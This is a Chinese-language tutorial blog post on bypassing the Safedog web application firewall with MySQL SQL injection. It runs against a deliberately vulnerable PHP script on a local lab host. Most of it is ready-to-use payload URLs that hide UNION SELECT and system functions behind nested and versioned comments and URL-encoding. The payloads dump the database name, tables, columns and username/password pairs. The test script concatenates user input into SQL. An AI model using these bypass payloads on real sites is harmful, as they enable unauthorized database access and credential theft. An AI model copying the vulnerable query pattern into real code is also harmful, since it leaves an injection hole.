mysql延迟注入br_(原创)安全狗SQL注入绕过思路[sql注入waf绕过][sql注入bypass]

本文介绍了如何通过MySQL延迟注入技术,利用四重注释、特殊字符编码和注释符号混淆,成功绕过安全狗的SQL注入防护。详细讲解了绕过and 1=1、union+select、爆库、爆字段和读取内容的过程。
摘要由CSDN通过智能技术生成

2017/09/03_Bypass_safedog_Sql注入

prat 1

本文大致内容

+ 思路以及想法

- 四重注释绕过safedog

+ 实战绕过

- 绕过and 1=1

- 绕过union+select

- 爆表

- 爆字段

- 读内容

prat 2

测试代码

$link = mysqli_connect('localhost','root','root','security');

$sql = "select * from users where id=".$_GET['id'];

$result = mysqli_query($link,$sql);

if($rows = mysqli_fetch_array($result)){

echo $rows['id'];

echo '
';

echo $rows['username'];

echo '
';

echo $rows['password'];

echo '
';

}

mysqli_close($link);

?>

prat 3

绕过 and 1=1

Url:url:http://192.168.1.107/sql.php?id=1 and 1=1

e742c420f40b9aca4af128e275b41e54.png

发现惨遭拦截,首先让我们来看一下他拦截什么,不拦截什么。

and 不拦截

and 1 拦截

and 1 = 拦截

and 1 = 1 拦截

由此可见,只要and后面出现数字或者成立一个等式那么他就拦截,那我们用/**/注释来绕过一下看看

/**/aNd/**//**/'a'/**/ = /**/'a'/**/

注释包含把1=1替换成‘a’=‘a’就得到了url:

342eba0a646c3a32bd37dba8e3209f4e.png

返回不正常(等式不等)并且发现狗就不拦截了,可见注释方法还是如此任性

Order by

7d860485b840a82f2cb7a40ff83b537d.png

06e64d4b460d0b68b5f00d19fd8523a5.png

我发现我装的狗是不会拦截order by的,所以也就没绕,有需求在说。

字段为3,接下来爆库,当前用户。

绕过union+select

url:http://192.168.1.107/sql.php?id=1 UNION SELECT 1,2,3

66f4edba2dedbf5472ec44aabd06d322.png

同样,先看一下他拦截什么。

union 不拦截

select 不拦截

union select 拦截

很明显,我们只需要在union与select之间处理一下就可以了。

首先使用/!50000/注释包含/!/然后使用/**/与/–*/打乱一下结构,在稍微进行一下编码处理就可以了

url:http://192.168.1.107/sql.php?id=-1 /*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,2,3)/*--*/*/-- -

a83d1f5dcafb70e7af1b06b5ccd7d727.png

可以发现,已经正常显示数字,并且狗没有拦截。 什么?你说没看懂?那么看下图

c70c4e2cab4d48704112d020797a76f8.png

拆分一下就发现其实很好理解,使用()把select的内容包起来。

爆库

http://192.168.1.107/sql.php?id=-1 /*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,user(),database())/*--*/*/-- -

f5ea06799a3b14ca09869e104a6c1308.png

发现又特么拦截了,很明显,他会拦截一些常用系统函数(还有许多就不列出来了,列出常用的)

1. version()——MySQL 版本

2. user()——数据库用户名

3. database()——数据库名

4. @@datadir——数据库路径

5. @@version_compile_os——操作系统版本

既然已经知道了拦截什么,那么绕他还难么,掏出/**/注释大法。

在user(),database()之间处理以下。

那么就成为了

user/**/(/**/)

database/**/(/**/)

完整url:

http://192.168.1.107/sql.php?id=-1/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,user/**/(/**/),database/**/(/**/))/*--*/*/--

-

ebada9db768cbb07b97173585414cf2e.png

正常爆出数据库跟当前用户

爆表

发现我本身的狗可能有点问题,他不拦截from,于是也没有绕,还是那句话,需要啥,绕啥。

url:http://192.168.1.107/sql.php?id=-1

/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,table_name)),user/**/(/**/)

from information_schema.tables where table_schema='security')/*--*/*/ limit 0,1-- -

885254e25a4dc641b614c1a4a7b5cfcf.png

得到Table

emails

referers

uagents

Users

爆字段

url:http://192.168.1.107/sql.php?id=-1

/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,column_name)),user/**/(/**/)

from information_schema.columns where table_name='users')/*--*/*/ limit 0,1-- -

dcdd6be13f2b8cb962edc48b422ffa1f.png

得到column

id

username

Password

读内容

url:http://192.168.1.107/sql.php?id=-1

/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,username,password)),user/**/(/**/)

from users)/*--*/*/ limit 0,1-- -

faa6920f8779110db4eba8573fa8c075.png

Dump

Dumb#Dumb

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值